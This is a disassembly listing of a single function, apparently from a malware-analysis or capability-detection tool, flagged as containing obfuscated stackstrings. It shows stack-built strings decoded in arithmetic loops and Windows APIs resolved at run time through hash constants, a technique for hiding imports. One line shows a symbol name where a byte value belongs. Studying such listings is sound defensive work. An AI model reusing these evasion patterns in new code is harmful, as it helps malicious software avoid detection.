Function at 0x18001c8c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x180039010]
xor rax, rsp
mov qword [rbp + 0x17], rax
xor r13d, r13d
mov r15, rdx
mov r12, rcx
mov qword [rbp - 1], r13
mov dword [rbp + 7], r13d
mov dword [rbp + 0xf], r13d
lea r14d, [r13 + 1]
mov dword [rbp + 0xb], r13d
mov edx, 0x11
mov r8d, 0x40d14d9a
lea r9d, [rdx + 0x21]
call fcn.180004350
lea rcx, [rbp + 0xb]
mov r9d, 0xffffffff
mov qword [rsp + 0x30], rcx
lea r8, [rbp - 1]
lea rcx, [rbp + 0xf]
mov edx, r14d
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 7]
mov qword [rsp + 0x20], rcx
mov rcx, r12
call rax
test eax, eax
je 0x18001c952
cmp eax, 0xea
je 0x18001c901
jmp 0x18001cd67
mov qword [rsp + 0xb8], rsi
mov rsi, qword [rbp - 1]
cmp dword [rbp + 7], r14d
jb 0x18001cd46
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0xb0], rdi
nop dword [rax + rax]
mov eax, dword [rsi + 8]
test eax, 0x3fffffff
jne 0x18001cd21
cmp eax, 0xc0000000
je 0x18001cd21
mov ecx, 0x7d10
call fcn.180023428
xor edx, edx
mov r8d, 0x7d10
mov rcx, rax
mov rdi, rax
call fcn.1800207a0
test rdi, rdi
je 0x18001cd21
mov byte [rbp - 0x39], r13b
mov byte [rbp - 0x38], 0x5f
mov byte [rbp - 0x37], 0xd
mov byte [rbp - 0x36], 5
mov byte [rbp - 0x35], 0xd
mov byte [rbp - 0x34], 0x74
mov byte [rbp - 0x33], 0xd
mov byte [rbp - 0x32], WSAGetLastError
mov byte [rbp - 0x31], 0xd
mov byte [rbp - 0x30], 0x56
mov byte [rbp - 0x2f], 0xd
mov byte [rbp - 0x2e], 0x4c
mov byte [rbp - 0x2d], 0xd
mov byte [rbp - 0x2c], 0xd
mov byte [rbp - 0x2b], 0xd
movzx eax, byte [rbp - 0x38]
movzx eax, byte [rbp - 0x39]
test al, al
jne 0x18001ca65
mov r9, r13
nop word [rax + rax]
movzx ecx, byte [rbp + r9 - 0x38]
mov eax, 0x81020409
sub ecx, 0xd
imul r8d, ecx, 0x37
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x38], r8b
inc r9
cmp r9, 0xe
jb 0x18001ca10
mov rbx, qword [rsi]
mov edx, 0xf
mov r8d, 0xcd7328ca
lea r9d, [rdx + 0x42]
call fcn.180004350
lea rdx, [rbp - 0x38]
mov rcx, rbx
call rax
test eax, eax
je 0x18001cd21
mov byte [rbp - 0x41], r13b
mov byte [rbp - 0x40], 0x41
mov byte [rbp - 0x3f], 0x24
mov byte [rbp - 0x3e], 0x41
mov byte [rbp - 0x3d], 0x24
mov byte [rbp - 0x3c], 0x24
mov byte [rbp - 0x3b], 0x24
movzx eax, byte [rbp - 0x40]
movzx eax, byte [rbp - 0x41]
test al, al
jne 0x18001cb11
mov r8, r13
nop dword [rax + rax]
movzx ecx, byte [rbp + r8 - 0x40]
mov eax, 0x24
sub eax, ecx
imul ecx, eax, 0x2d
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x40], cl
inc r8
cmp r8, 6
jb 0x18001cac0
mov edx, 0xf
mov r8d, 0x3fd9cc6a
lea r9d, [rdx + 0x48]
call fcn.180004350
lea rdx, [rbp - 0x40]
mov rcx, rdi
call rax
mov edx, 0xf
mov r8d, 0xd1da9915
lea r9d, [rdx + 0x4d]
call fcn.180004350
mov rdx, r12
mov rcx, rdi
call rax
mov byte [rbp - 0x49], r13b
mov byte [rbp - 0x48], 0x67
mov byte [rbp - 0x47], 0x2d
mov byte [rbp - 0x46], 0x2d
mov byte [rbp - 0x45], 0x2d
movzx eax, byte [rbp - 0x48]
movzx eax, byte [rbp - 0x49]
test al, al
jne 0x18001cbc5
mov r9, r13
nop dword [rax]
movzx ecx, byte [rbp + r9 - 0x48]
mov eax, 0x81020409
sub ecx, 0x2d
imul r8d, ecx, 0x29
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x48], r8b
inc r9
cmp r9, 4
jb 0x18001cb70
mov edx, 0xf
mov r8d, 0xd1da9915
lea r9d, [rdx + 0x4d]
call fcn.180004350
lea rdx, [rbp - 0x48]
mov rcx, rdi
call rax
mov rbx, qword [rsi]
mov edx, 0xf
mov r8d, 0xd1da9915
lea r9d, [rdx + 0x4d]
call fcn.180004350
mov rdx, rbx
mov rcx, rdi
call rax
mov byte [rbp - 0x29], r13b
mov byte [rbp - 0x28], 0x4f
mov byte [rbp - 0x27], 0x52
mov byte [rbp - 0x26], 0x15
mov byte [rbp - 0x25], 0x52
mov byte [rbp - 0x24], 0x1c
mov byte [rbp - 0x23], 0x52
mov byte [rbp - 0x22], 0x29
mov byte [rbp - 0x21], 0x52
mov byte [rbp - 0x20], 0x72
mov byte [rbp - 0x1f], 0x52
mov byte [rbp - 0x1e], 0x4d
mov byte [rbp - 0x1d], 0x52
mov byte [rbp - 0x1c], 0x44
mov byte [rbp - 0x1b], 0x52
mov byte [rbp - 0x1a], 0x22
mov byte [rbp - 0x19], 0x52
mov byte [rbp - 0x18], 0x2f
mov byte [rbp - 0x17], 0x52
mov byte [rbp - 0x16], 0x58
mov byte [rbp - 0x15], 0x52
mov byte [rbp - 0x14], 0x5e
mov byte [rbp - 0x13], 0x52
mov byte [rbp - 0x12], 0x4d
mov byte [rbp - 0x11], 0x52
mov byte [rbp - 0x10], 0x68
mov byte [rbp - 0xf], 0x52
mov byte [rbp - 0xe], 0x44
mov byte [rbp - 0xd], 0x52
mov byte [rbp - 0xc], 0x33
mov byte [rbp - 0xb], 0x52
mov byte [rbp - 0xa], 0x52
mov byte [rbp - 9], 0x52
movzx eax, byte [rbp - 0x28]
movzx eax, byte [rbp - 0x29]
test al, al
jne 0x18001ccf5
mov r9, r13
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rbp + r9 - 0x28]
mov eax, 0x81020409
sub ecx, 0x52
imul r8d, ecx, 0x13
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x28], r8b
inc r9
cmp r9, 0x20
jb 0x18001cca0
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.18001a350
lea rcx, [rdi + 0x7d00]
mov qword [rcx], r13
mov rax, qword [r15 + 8]
mov qword [rdi + 0x7d08], rax
mov rax, qword [r15 + 8]
mov qword [rax], rdi
mov qword [r15 + 8], rcx
add rsi, 0x18
inc r14d
cmp r14d, dword [rbp + 7]
jbe 0x18001c980
mov rdi, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0x100]
mov rsi, qword [rbp - 1]
mov edx, 0x11
mov r8d, 0x9223458
lea r9d, [rdx + 0x22]
call fcn.180004350
mov rcx, rsi
call rax
mov rsi, qword [rsp + 0xb8]
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.18001f3a0
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rbp
ret